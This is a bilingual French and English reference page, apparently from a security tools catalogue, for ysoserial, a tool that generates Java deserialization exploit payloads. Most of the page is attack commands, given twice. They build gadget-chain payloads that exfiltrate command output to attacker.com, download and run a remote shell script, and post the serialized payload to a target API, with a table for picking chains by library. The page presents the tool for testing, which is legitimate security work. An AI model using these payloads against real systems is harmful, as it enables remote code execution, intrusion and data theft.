← retour aux outils back to tools

# ysoserial

Génère des payloads d'exploitation de désérialisation Java pour diverses chaînes de gadgets. Indispensable pour tester les applications Java. Generates Java deserialization exploit payloads for various gadget chains. Essential for testing Java applications.

↗ https://github.com/frohoff/ysoserial

## Overview

ysoserial generates serialized Java objects that exploit gadget chains in common Java libraries. When a vulnerable application deserializes attacker-controlled data, the payload executes arbitrary commands.

## Common Usage

List available gadget chains

    java -jar ysoserial.jar

Generate a payload

    java -jar ysoserial.jar <GadgetChain> '<command>'

    # Common chains
    java -jar ysoserial.jar CommonsCollections1 'ping attacker.com'
    java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(whoami)'
    java -jar ysoserial.jar Spring1 'wget http://attacker.com/shell.sh -O /tmp/s && bash /tmp/s'

Generate base64-encoded payload (for HTTP injection)

    java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0

    # Generate and send via curl
    java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
    curl -X POST https://target.com/api -H "Content-Type: application/x-java-serialized-object" \
      --data-binary @payload.bin

## Choosing the Right Gadget Chain

The gadget chain depends on which libraries are on the target’s classpath:

Chain | Library | Notes
--- | --- | ---
CommonsCollections1-7 | Apache Commons Collections ≤3.2.1 / 4.0 | Most common
Spring1, Spring2 | Spring Framework |
Groovy1 | Apache Groovy |
JBossInterceptors1 | JBoss |
URLDNS | Java built-in | Only DNS — good for detection

Use URLDNS first to confirm blind deserialization (DNS callback, no library dependency).

Help / Man page

    java -jar ysoserial.jar [payload-type] '[command]'

    USAGE:
      List gadgets:     java -jar ysoserial.jar
      Generate:         java -jar ysoserial.jar <GADGET> '<cmd>'

    GADGET CHAINS (selection):
      BeanShell1           BeanShell
      C3P0                 c3p0
      CommonsCollections1  Commons Collections <= 3.2.1
      CommonsCollections2  Commons Collections 4.0
      CommonsCollections3  Commons Collections <= 3.2.1
      CommonsCollections4  Commons Collections 4.0
      CommonsCollections5  Commons Collections (any, Apache)
      CommonsCollections6  Commons Collections (no Invoke)
      Groovy1              Groovy <= 2.3.9
      Hibernate1           Hibernate
      JBossInterceptors1   JBoss
      JRMPClient           Remote class load trigger
      Jdk7u21              JDK 7u21 native gadget
      Spring1              Spring Core
      Spring2              Spring Core (AOP)
      URLDNS               DNS only (no class dependency)

    OUTPUT:
      Writes raw serialized bytes to stdout
      Pipe to base64 or file as needed

## Vue d’ensemble

ysoserial génère des objets Java sérialisés qui exploitent des chaînes de gadgets dans des bibliothèques Java courantes. Quand une application vulnérable désérialise des données contrôlées par l’attaquant, le payload exécute des commandes arbitraires.

## Utilisation courante

    # Lister les chaînes de gadgets disponibles
    java -jar ysoserial.jar

    # Générer un payload
    java -jar ysoserial.jar <GadgetChain> '<command>'

    # Chaînes courantes
    java -jar ysoserial.jar CommonsCollections1 'ping attacker.com'
    java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(whoami)'
    java -jar ysoserial.jar Spring1 'wget http://attacker.com/shell.sh -O /tmp/s && bash /tmp/s'

    # Générer un payload encodé en base64 (pour injection HTTP)
    java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0

    # Générer et envoyer via curl
    java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
    curl -X POST https://target.com/api -H "Content-Type: application/x-java-serialized-object" \
      --data-binary @payload.bin

## Choisir la bonne chaîne de gadgets

La chaîne de gadgets dépend des bibliothèques présentes dans le classpath de la cible :

Chaîne | Bibliothèque | Notes
--- | --- | ---
CommonsCollections1-7 | Apache Commons Collections ≤3.2.1 / 4.0 | La plus courante
Spring1, Spring2 | Spring Framework |
Groovy1 | Apache Groovy |
JBossInterceptors1 | JBoss |
URLDNS | Java natif | DNS uniquement : bon pour la détection

Utiliser URLDNS en premier pour confirmer la désérialisation aveugle (callback DNS, sans dépendance de bibliothèque).

Aide / Page de manuel

    java -jar ysoserial.jar [payload-type] '[command]'

    USAGE:
      List gadgets:     java -jar ysoserial.jar
      Generate:         java -jar ysoserial.jar <GADGET> '<cmd>'

    GADGET CHAINS (selection):
      BeanShell1           BeanShell
      C3P0                 c3p0
      CommonsCollections1  Commons Collections <= 3.2.1
      CommonsCollections2  Commons Collections 4.0
      CommonsCollections3  Commons Collections <= 3.2.1
      CommonsCollections4  Commons Collections 4.0
      CommonsCollections5  Commons Collections (any, Apache)
      CommonsCollections6  Commons Collections (no Invoke)
      Groovy1              Groovy <= 2.3.9
      Hibernate1           Hibernate
      JBossInterceptors1   JBoss
      JRMPClient           Remote class load trigger
      Jdk7u21              JDK 7u21 native gadget
      Spring1              Spring Core
      Spring2              Spring Core (AOP)
      URLDNS               DNS only (no class dependency)

    OUTPUT:
      Writes raw serialized bytes to stdout
      Pipe to base64 or file as needed